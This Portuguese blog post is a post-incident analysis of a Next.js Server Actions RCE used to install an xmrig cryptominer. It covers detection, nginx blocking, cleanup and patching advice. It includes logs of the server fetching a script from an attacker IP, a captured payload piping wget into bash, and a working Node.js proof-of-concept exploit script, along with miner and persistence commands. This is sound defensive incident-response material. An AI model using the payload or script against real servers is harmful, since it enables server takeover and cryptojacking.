Tutoriais de VPS
[Análise pós-incidente] O susto do Remote Code Execution (RCE) no Next.js: registro completo de ataque e defesa, dos logs anômalos do PM2 ao trojan de mineração
Este artigo analisa em detalhes um incidente de ataque de Remote Code Execution (RCE) contra um servidor Next.js. Ao analisar os erros de PowerShell e os registros de downloads maliciosos via wget que aparecem nos logs do PM2, confirma-se que o atacante explorou uma vulnerabilidade de Server Actions ou de Prototype Pollution (poluição de protótipo) do Next.js (como a CVE-2024-34351).
![[Análise pós-incidente] O susto do Remote Code Execution (RCE) no Next.js: registro completo de ataque e defesa, dos logs anômalos do PM2 ao trojan de mineração](/_next/image?url=https%3A%2F%2Fdirectus-vps.aimazing.site%2Fassets%2F91c19cb1-b3b3-4171-a1d3-f15c28289425.png&w=3840&q=75)
Palavras-chave: Next.js, RCE, trojan de mineração, resposta a incidentes, segurança web, poluição de protótipo, CVE-2025-66478, CVE-2025-55182
A vulnerabilidade mais recente do Next.js, CVE-2025-66478, foi divulgada em 3 de dezembro. É uma vulnerabilidade crítica, de nível 10, que pode fazer com que o servidor seja tomado com privilégios de root.
A forma do ataque é enviar (POST) um bloco de dados para o diretório raiz do domínio; depois disso, o atacante pode executar comandos remotamente, o servidor pode baixar e executar programas automaticamente, o que leva à tomada de controle do servidor e a outras consequências catastróficas.
A solução é atualizar o quanto antes para a versão correspondente do Next.js.
Essa vulnerabilidade foi totalmente corrigida nas seguintes versões corrigidas do Next.js (qualquer versão diferente dessas é vulnerável ao ataque):
- 15.0.5
- 15.1.9
- 15.2.6
- 15.3.6
- 15.4.8
- 15.5.7 (ou seja, todas as versões 15.5.x precisam ser atualizadas para esta versão)
- 15.6.0-canary.58
- 16.0.7
Tudo começou com uma inspeção de rotina no servidor. Ao verificar o status de execução do PM2, um log de erro estranho chamou minha atenção.
Nos logs de erro do PM2 do projeto, apareceram muitos erros de tentativas de executar comandos do Windows PowerShell, além de registros de tentativas de baixar scripts externos:
2|app | 2025-12-05 12:12:51: /bin/sh: line 1: powershell: command not found
2|app | 2025-12-05 12:12:50: --2025-12-05 12:08:22-- (try:19) http://216.158.xxx.xx:12000/sex.sh
2|app | 2025-12-05 12:12:50: Connecting to 216.158.xxx.xx:12000... failed: Connection timed out.
-
Não são apenas erros: os logs mostram que o servidor está iniciando ativamente conexões de saída (
wget/curl), tentando baixar scripts maliciosos chamadossex.shousvchost(um arquivo ELF disfarçado no Linux). -
RCE confirmado: embora o Linux não tenha PowerShell, o que causa os erros, e o servidor nacional tenha sofrido timeout no download por questões de rede, isso prova que o atacante já havia executado com sucesso comandos arbitrários no servidor.
-
Confusão no código: ao revisar o código de negócio, o projeto inteiro não usa
child_process.execnemspawn, nem chama comandos do sistema. De onde veio esse comando?
Depois de verificar primeiro meu próprio código, descobri que o código que eu havia escrito não tinha nenhum ponto de entrada para executar comandos; para descobrir como o comando era executado e quem o executava secretamente, inseri um trecho de código Monkey Patch (patch de macaco) no arquivo de entrada do projeto, sequestrando o método child_process.exec da camada inferior do Node.js para imprimir a pilha de chamadas.
Quando o ataque ocorreu novamente, os logs não capturaram a informação-chave; apareceu apenas este tipo de log:
2025-12-05 14:05:24: /bin/sh: line 1: powershell: command not found
A pilha de chamadas não foi impressa;
Buscando nos logs do nginx pelo horário do ataque, encontrei o log correspondente do nginx todas as vezes, por exemplo este:
103.200.30.48 - - [05/Dec/2025:14:14:54 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
103.200.30.48 - - [05/Dec/2025:14:14:57 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" "-"
103.200.30.48 - - [05/Dec/2025:14:14:59 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
45.83.126.12 - - [05/Dec/2025:14:16:03 +0800] "GET / HTTP/1.1" 200 69457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" "-"
Usando isso como ponto de partida, consultei a IA para ver se existia um método de ataque semelhante, uma vulnerabilidade em que enviar (POST) um bloco de dados para o diretório raiz pudesse tomar o controle do servidor. A IA encontrou uma vulnerabilidade de 2024, um ataque remoto RCE.
Possível método de ataque:
-
Ponto de entrada do ataque: o atacante enviou um payload malicioso para o diretório raiz do site
POST /. -
Exploração do mecanismo do Next.js: o atacante explorou o mecanismo de análise do Next.js (Server Actions / Flight Protocol), ou a poluição de protótipo causada pelo objeto global
body-parser. -
Disparo do RCE: o atacante construiu um objeto com um método
thenmalicioso (Thenable Object). Quando o Next.js tentou internamenteawaitesse objeto, o métodothenmalicioso foi executado, e o códigoevalcontido nele (comexec) foi acionado imediatamente.
Payload de ataque capturado (características do protocolo Flight do Next.js):
JSON
{
"then": "$1:__proto__:then",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').exec('wget ... | bash')"
}
}
A IA, com base nas dicas, forneceu um script de ataque; o teste foi bem-sucedido e o log do pm2 imprimiu corretamente o log correspondente, echo RCE_FINAL_VICTORY_TEST. O script específico é o seguinte:
const http = require('http');
// 1. 定义核心 Payload (只执行 echo,无害)
const payload = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
// 这里是想要执行的命令
_prefix: "process.mainModule.require('child_process').exec('echo RCE_FINAL_VICTORY_TEST');",
_chunks: "$Q2",
_formData: { get: "$1:constructor:constructor" }
}
};
// 2. 手动构建 Multipart Body (模拟浏览器/攻击者行为)
// 注意:Next.js Flight 协议对换行符 \r\n 很敏感,这里手动拼接最稳妥
const boundary = "----WebKitFormBoundaryAttackTest";
const bodyParts = [
`--${boundary}`,
'Content-Disposition: form-data; name="1"',
'',
'"$@0"', // 注意这里的双引号,必须保留!这是导致你刚才报错的原因
`--${boundary}`,
'Content-Disposition: form-data; name="2"',
'',
'[]',
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
JSON.stringify(payload),
`--${boundary}--`,
''
].join('\r\n');
// 3. 发送请求
const options = {
hostname: '127.0.0.1',
port: 3000, // 直击后端端口,绕过 Nginx
path: '/',
method: 'POST',
headers: {
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'Content-Length': Buffer.byteLength(bodyParts),
'Next-Action': 'any_string_works_here' // 触发 Action 逻辑
}
};
console.log('正在向 localhost:3000 发送攻击 Payload...');
const req = http.request(options, (res) => {
console.log(`服务器响应状态码: ${res.statusCode}`);
res.on('data', (d) => process.stdout.write(d));
});
req.on('error', (e) => {
console.error(`请求错误: ${e.message}`);
});
req.write(bodyParts);
req.end();
Esse ataque afetou vários servidores em meu nome, com resultados completamente diferentes.
-
Status: não comprometidos.
-
Motivo: devido ao ambiente de rede nacional especial, o IP de origem do download do atacante (
216.158...) não conseguia conectar ou a conexão dava timeout. -
Comportamento nos logs:
Connection timed out. Embora o comando tenha sido executado, o vírus não foi baixado, então escapou por pouco.
Dos 5 servidores no exterior, 2 foram completamente comprometidos. Como a rede estava livre, o script do vírus foi baixado e executado com sucesso.
-
Sintomas: o uso de CPU disparou e apareceu um processo chamado
xmrig. -
Mineração confirmada:
Bash
/data/cv-ai/xmrig-6.24.0/xmrig --url pool.hashvault.pro:443 --user [黑客钱包地址] --pass next -
Backdoor de persistência:
Nos logs do PM2, descobriu-se que o processo da aplicação criou um serviço do sistema:
Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.serviceO hacker disfarçou o vírus como
system-update-servicee o configurou para iniciar junto com o sistema.
Para os servidores no exterior já comprometidos, executei as seguintes etapas de limpeza:
Bloquear diretamente na camada do Nginx as requisições POST direcionadas ao diretório raiz, cortando o canal de RCE do atacante.
Nginx
log_format hacker_trap '$remote_addr - [$time_local] "$request" $status Body: "$request_body"';
# Nginx 配置
location = / {
# 如果是 POST 请求,记录并丢进黑洞
if ($request_method = POST) {
# 指定日志文件路径,并使用我们刚才定义的 hacker_trap 格式
access_log /var/log/nginx/hacker_attack.log hacker_trap;
# 关键点:转发给一个本地不存在的端口
# 这样 Nginx 会尝试读取 Body 用于转发,从而触发日志记录
proxy_pass http://127.0.0.1:9999;
break;
}
# 正常的 GET 请求继续走原来的路
proxy_pass http://127.0.0.1:3003;
# ... 其他 proxy header 配置 ...
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
Registro do body do atacante

O vírus criou serviços do Systemd para se manter ativo, então eles devem ser removidos com prioridade.
Bash
# 1. 停止并禁用服务
systemctl stop system-update-service
systemctl disable system-update-service
# 2. 删除服务文件
rm /etc/systemd/system/system-update-service.service
systemctl daemon-reload
Bash
# 1. 杀掉挖矿进程
pkill -9 -f xmrig
# 2. 删除病毒文件(根据 service 文件内容定位)
rm -rf /data/cv-ai/xmrig-6.24.0/
rm -rf /usr/bin/sys-update # 及其指向的启动脚本
-
Atualizar o Next.js: atualizar as dependências do projeto para a versão corrigida mais recente; conforme o anúncio oficial do Next.js, parece que é preciso atualizar cada versão menor para a sua versão mais recente, por exemplo, 15.4.x precisa ser atualizada para 15.4.8.
-
Limpar dependências: remover bibliotecas desnecessárias como
body-parserque possam causar poluição de protótipo. -
Executar com privilégios reduzidos: esta é a lição mais dolorosa. Antes, para economizar esforço, eu executava o PM2 com o usuário root. Isso fazia com que, após obter o RCE, o hacker tivesse diretamente privilégios de root e pudesse criar serviços do sistema à vontade. Depois, passei a executar o negócio com um usuário comum.
1. Verificar as chaves SSH (backdoors)
Depois de obter o RCE, os hackers costumam gravar a própria chave pública no seu authorized_keys, para poderem se conectar diretamente por SSH sem precisar explorar a vulnerabilidade novamente.
Ver o arquivo:
Bash
cat ~/.ssh/authorized_keys
Se encontrar uma chave pública que você não reconhece (normalmente começa com ssh-rsa ou ssh-ed25519, e pode terminar com caracteres ilegíveis ou um e-mail desconhecido), você deve removê-la imediatamente!
2. Verificar os mecanismos de "ressurreição" (daemons/tarefas agendadas)
Os vírus de mineração costumam gravar tarefas agendadas, de modo que, assim que você mata o processo, ele reinicia automaticamente em alguns segundos. Verificar o Crontab:
crontab -l
Se você vir alguma linha contendo curl, wget, xmrig, base64 ou um IP estranho, entre com crontab -e e apague.
Verificar os serviços do Systemd: alguns vírus avançados se registram como serviços do sistema.
systemctl list-units --type=service --state=running
Verifique se há serviços chamados c3pool, monero, miner ou outros serviços anômalos. Se houver:
systemctl stop [服务名]
systemctl disable [服务名]
rm /etc/systemd/system/[服务名].service
R: O desenvolvimento web moderno depende muito de frameworks de terceiros (como o Next.js). As vulnerabilidades muitas vezes não estão no seu código de negócio, mas nos mecanismos de serialização/desserialização da camada inferior do framework. O atacante usa dados especialmente construídos (payload) para enganar o framework e fazê-lo executar código JavaScript malicioso.
R: Este ataque explora os Server Actions ou o mecanismo de roteamento interno do Next.js, e o ponto de entrada padrão costuma ser uma requisição POST para a página atual. Como minha página inicial (/) é uma página puramente de exibição e não precisa receber dados POST, bloquear diretamente as requisições POST na camada do Nginx é a forma mais rápida e eficiente de bloquear.
Atualização:
O método de ataque Post / é o mais simples; é possível que o atacante mude de método, por exemplo assim
85.11.167.3 - - [06/Dec/2025:07:20:26 +0800] "POST /_next/flight HTTP/1.1" 499 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0" "-"
enviando dados para outros diretórios inexistentes também é possível concluir o ataque; a única solução é atualizar a versão do Next.js o quanto antes;
R:
-
Verificar os logs: se o PM2 ou o Console têm registros de
Connection timed out(falha no download) oupowershell(erro do script). O principal é observar a saída de logs do Next.js de cada projeto; não é todo atacante que apresenta esse comportamento ao atacar, alguns podem baixar primeiro o vim e depois fazer outras operações. -
Verificar os processos: usar
topoups -auxpara verificar se há processos desconhecidos com alto uso de CPU comoxmrig,kdevtmpfsi,sys-update. -
Verificar os serviços: verificar se há serviços suspeitos criados recentemente em
/etc/systemd/system/.
R:
-
Princípio do menor privilégio: nunca execute aplicações Node.js com o usuário root! Se desta vez eu tivesse executado com um usuário comum, o hacker não teria conseguido criar serviços do Systemd e o vírus deixaria de funcionar após a reinicialização.
-
Manter-se atualizado: fique atento aos avisos de segurança de frameworks centrais como o Next.js e atualize em tempo hábil.
-
Defesa em profundidade: não dependa apenas da defesa no nível do código. As regras de WAF do Nginx (como proibir determinados User-Agents e restringir métodos de requisição) são uma primeira linha de defesa extremamente importante.
R: Um SMS de alerta da Alibaba Cloud me avisou de que o servidor poderia ter sofrido um ataque e indicou o possível número da vulnerabilidade; consultei o blog oficial do Next.js e descobri que essa vulnerabilidade aparece em várias versões do Next.js.
R:
- Serviços adicionados para se manter ativo,
Created symlink /etc/systemd/system/multi-user.target.wants/moneroocean_miner.service → /etc/systemd/system/moneroocean_miner.service.Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service - Comandos executados: /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js /root/c3pool
- Manipulação do crontab, por exemplo adicionando isto:
@reboot sleep 30 && /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 & - Uso do docker para minerar
Uso do docker baixado para minerar, caminho de execução
/tmp/docker-daemon
R: Segundo o anúncio do Cloudflare, todos os usuários do plano gratuito do Cloudflare já têm, por padrão, o conjunto de regras para essa vulnerabilidade habilitado, ou seja, os usuários do plano gratuito não precisam se preocupar; o Cloudflare bloqueará automaticamente esse comportamento de ataque;
Conforme verifiquei nos registros de eventos de segurança do Cloudflare, é realmente assim.

No entanto, também é preciso ter cuidado, pois os métodos de ataque já mudaram, por exemplo enviando dados POST para outras URLs (/_next/flight) em vez de para /.
Os usuários de planos pagos precisam implantar manualmente esse conjunto de regras;